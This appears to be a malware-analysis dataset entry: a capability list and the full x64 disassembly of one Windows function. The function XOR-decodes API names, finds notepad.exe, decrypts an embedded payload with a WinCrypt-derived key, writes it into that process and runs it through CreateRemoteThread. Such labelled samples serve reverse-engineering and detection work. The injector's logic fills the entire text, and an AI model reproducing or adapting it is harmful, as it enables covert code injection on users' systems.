Function at 0x140001070
Capabilities:
Create new key via cryptacquirecontext
Encode data using xor
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Enumerate processes
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x1a0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x190], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor esi, esi
lea rcx, [0x140005069]
mov edx, esi
lea rdi, str.a_okAk_sOpFe
mov r9d, esi
mov rbx, rax
nop dword [rax]
cmp edx, 0xc
mov r8d, esi
cmovne r8d, edx
mov edx, esi
movsxd rax, r8d
movzx eax, byte [rax + rdi]
xor byte [rcx - 1], al
lea eax, [r8 + 1]
cmp r8d, 0xb
mov r8d, esi
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + rdi]
xor byte [rcx], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, esi
cmovne r8d, eax
movsxd rax, r8d
movzx eax, byte [rax + rdi]
xor byte [rcx + 1], al
lea eax, [r8 + 1]
cmp r8d, 0xb
mov r8d, esi
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + rdi]
xor byte [rcx + 2], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, esi
cmovne r8d, eax
movsxd rax, r8d
movzx eax, byte [rax + rdi]
xor byte [rcx + 3], al
lea eax, [r8 + 1]
cmp r8d, 0xb
mov r8d, esi
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + rdi]
xor byte [rcx + 4], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, esi
cmovne r8d, eax
movsxd rax, r8d
movzx eax, byte [rax + rdi]
xor byte [rcx + 5], al
lea eax, [r8 + 1]
cmp r8d, 0xb
mov r8d, esi
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + rdi]
xor byte [rcx + 6], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, esi
cmovne r8d, eax
movsxd rax, r8d
movzx eax, byte [rax + rdi]
xor byte [rcx + 7], al
lea eax, [r8 + 1]
cmp r8d, 0xb
mov r8d, esi
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + rdi]
xor byte [rcx + 8], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, esi
cmovne r8d, eax
movsxd rax, r8d
movzx eax, byte [rax + rdi]
xor byte [rcx + 9], al
lea eax, [r8 + 1]
cmp r8d, 0xb
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + rdi]
mov r8d, esi
xor byte [rcx + 0xa], al
lea rcx, [rcx + 0xe]
cmp edx, 0xb
lea eax, [rdx + 1]
mov edx, esi
cmovne r8d, eax
movsxd rax, r8d
movzx eax, byte [rax + rdi]
xor byte [rcx - 3], al
lea eax, [r8 + 1]
cmp r8d, 0xb
cmovne edx, eax
add r9d, 0xe
movsxd rax, edx
movzx eax, byte [rax + rdi]
xor byte [rcx - 2], al
inc edx
cmp r9d, 0xe
jb 0x1400010c0
lea rdx, str.VirtualAllocEx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005890], rax
mov ecx, esi
mov r9d, esi
lea r8, [0x140005261]
nop word [rax + rax]
cmp ecx, 0xc
mov edx, esi
cmovne edx, ecx
mov ecx, esi
movsxd rax, edx
movzx eax, byte [rax + rdi]
xor byte [r8 - 1], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, esi
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + rdi]
xor byte [r8], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, esi
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + rdi]
xor byte [r8 + 1], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, esi
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + rdi]
xor byte [r8 + 2], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, esi
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + rdi]
xor byte [r8 + 3], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, esi
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + rdi]
xor byte [r8 + 4], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, esi
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + rdi]
xor byte [r8 + 5], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, esi
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + rdi]
xor byte [r8 + 6], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, esi
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + rdi]
xor byte [r8 + 7], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, esi
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + rdi]
xor byte [r8 + 8], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, esi
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + rdi]
xor byte [r8 + 9], al
lea eax, [rdx + 1]
cmp edx, 0xb
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + rdi]
mov edx, esi
xor byte [r8 + 0xa], al
lea r8, [r8 + 0x12]
cmp ecx, 0xb
lea eax, [rcx + 1]
mov ecx, esi
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + rdi]
xor byte [r8 - 7], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, esi
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + rdi]
xor byte [r8 - 6], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, esi
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + rdi]
xor byte [r8 - 5], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, esi
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + rdi]
xor byte [r8 - 4], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, esi
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + rdi]
xor byte [r8 - 3], al
lea eax, [rdx + 1]
cmp edx, 0xb
cmovne ecx, eax
add r9d, 0x12
movsxd rax, ecx
movzx eax, byte [rax + rdi]
xor byte [r8 - 2], al
inc ecx
cmp r9d, 0x12
jb 0x140001240
lea rdx, str.CreateRemoteThread
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140005888], rax
mov ecx, esi
mov r9d, esi
lea r8, [0x140005041]
nop
cmp ecx, 0xc
mov edx, esi
cmovne edx, ecx
mov ecx, esi
movsxd rax, edx
movzx eax, byte [rax + rdi]
xor byte [r8 - 1], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, esi
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + rdi]
xor byte [r8], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, esi
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + rdi]
xor byte [r8 + 1], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, esi
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + rdi]
xor byte [r8 + 2], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, esi
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + rdi]
xor byte [r8 + 3], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, esi
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + rdi]
xor byte [r8 + 4], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, esi
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + rdi]
xor byte [r8 + 5], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, esi
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + rdi]
xor byte [r8 + 6], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, esi
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + rdi]
xor byte [r8 + 7], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, esi
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + rdi]
xor byte [r8 + 8], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, esi
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + rdi]
xor byte [r8 + 9], al
lea eax, [rdx + 1]
cmp edx, 0xb
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + rdi]
mov edx, esi
xor byte [r8 + 0xa], al
lea r8, [r8 + 0x12]
cmp ecx, 0xb
lea eax, [rcx + 1]
mov ecx, esi
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + rdi]
xor byte [r8 - 7], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, esi
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + rdi]
xor byte [r8 - 6], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, esi
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + rdi]
xor byte [r8 - 5], al
lea eax, [rdx + 1]
cmp edx, 0xb
mov edx, esi
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + rdi]
xor byte [r8 - 4], al
lea eax, [rcx + 1]
cmp ecx, 0xb
mov ecx, esi
cmovne edx, eax
movsxd rax, edx
movzx eax, byte [rax + rdi]
xor byte [r8 - 3], al
lea eax, [rdx + 1]
cmp edx, 0xb
cmovne ecx, eax
add r9d, 0x12
movsxd rax, ecx
movzx eax, byte [rax + rdi]
xor byte [r8 - 2], al
inc ecx
cmp r9d, 0x12
jb 0x140001400
lea rdx, str.WriteProcessMemory
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
mov qword [0x1400058a0], rax
mov edi, esi
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001634
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x130
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
mov rcx, rbx
test eax, eax
je 0x14000162e
lea rdx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x140001640
nop word [rax + rax]
lea rdx, [rsp + 0x8c]
lea rcx, str.notepad.exe
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x14000163c
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140001600
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x140005870], esi
jmp 0x140001653
mov edi, dword [rsp + 0x68]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x140005870], edi
test edi, edi
jg 0x140001669
lea rcx, str.Process_isnt_running_n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x14000184a
mov edx, edi
lea rcx, str.PID_is_:__i_n
call fcn.140001010
mov r8d, dword [0x140005870]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x140005880], rax
test rax, rax
jne 0x1400016ad
lea rcx, str.Failed_to_optain_a_handle
call fcn.140001010
mov eax, 0xffffffff
jmp 0x14000184a
mov rdx, rax
lea rcx, str.Got_handle_to_process_:__p_n
call fcn.140001010
mov rcx, qword [0x140005880]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x20
mov r8d, 0x1d0
call qword [0x140005890]
mov rdx, rax
mov qword [0x140005878], rax
lea rcx, str.Allocated_some_bytes_at_:__p_n
call fcn.140001010
mov r9d, 0x18
mov dword [rsp + 0x40], 0x1d0
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
lea rbx, [0x140005080]
test eax, eax
je 0x1400017de
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1400017de
mov rcx, qword [rsp + 0x50]
lea rdx, [0x140005058]
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1400017de
mov r8, qword [rsp + 0x50]
lea rax, [rsp + 0x58]
mov rcx, qword [rsp + 0x48]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x1400017de
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x1400017de
mov rcx, qword [rsp + 0x48]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rdx, qword [0x140005878]
lea rax, [0x140005898]
mov rcx, qword [0x140005880]
mov r9d, 0x1d0
mov r8, rbx
mov qword [rsp + 0x20], rax
call qword [0x1400058a0]
mov r8, qword [0x140005878]
lea rcx, str.Wrote__i_bytes_at_:__p_n
mov rdx, qword [0x140005898]
call fcn.140001010
mov r9, qword [0x140005878]
xor r8d, r8d
mov rcx, qword [0x140005880]
xor edx, edx
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
call qword [0x140005888]
xor eax, eax
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.140001880
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret